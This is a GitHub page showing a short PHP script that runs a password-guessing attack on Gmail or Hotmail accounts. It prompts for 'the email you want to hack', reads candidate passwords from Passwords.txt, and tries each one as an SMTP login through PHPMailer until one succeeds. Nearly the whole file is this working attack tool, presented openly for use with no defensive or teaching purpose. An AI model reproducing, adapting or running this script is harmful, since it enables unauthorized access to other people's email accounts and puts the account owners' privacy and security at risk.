-
Notifications
You must be signed in to change notification settings - Fork 49
/
index.php
executable file
·39 lines (35 loc) · 966 Bytes
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
require './PHPMailer-master/PHPMailerAutoload.php';
$mail = new PHPMailer;
$handle = fopen("php://stdin", "r");
echo "1. Gmail\n2. Live/Hotmail\n";
echo "Select option (1 or 2) : ";
$line = trim(fgets($handle));
$mail->isSMTP();
$mail->SMTPAuth = true;
$mail->SMTPSecure = 'tls';
$mail->Port = 587;
if ($line == 1) {
$mail->Host = 'smtp.gmail.com';
} else if ($line == 2) {
$mail->Host = 'smtp.live.com';
} else {
echo "Sorry, wrong choice.\n";
exit;
}
echo "Enter the email you want to hack : ";
$username = trim(fgets($handle));
$fh = fopen("Passwords.txt", "r");
while (!feof($fh)) {
$password = trim(fgets($fh));
$mail->Username = $username;
$mail->Password = $password;
if ($mail->smtpConnect()) {
echo "***************************\n";
echo "Password found : $password\n";
echo "***************************\n";
exit;
} else {
echo "Failed with password $password\n";
}
}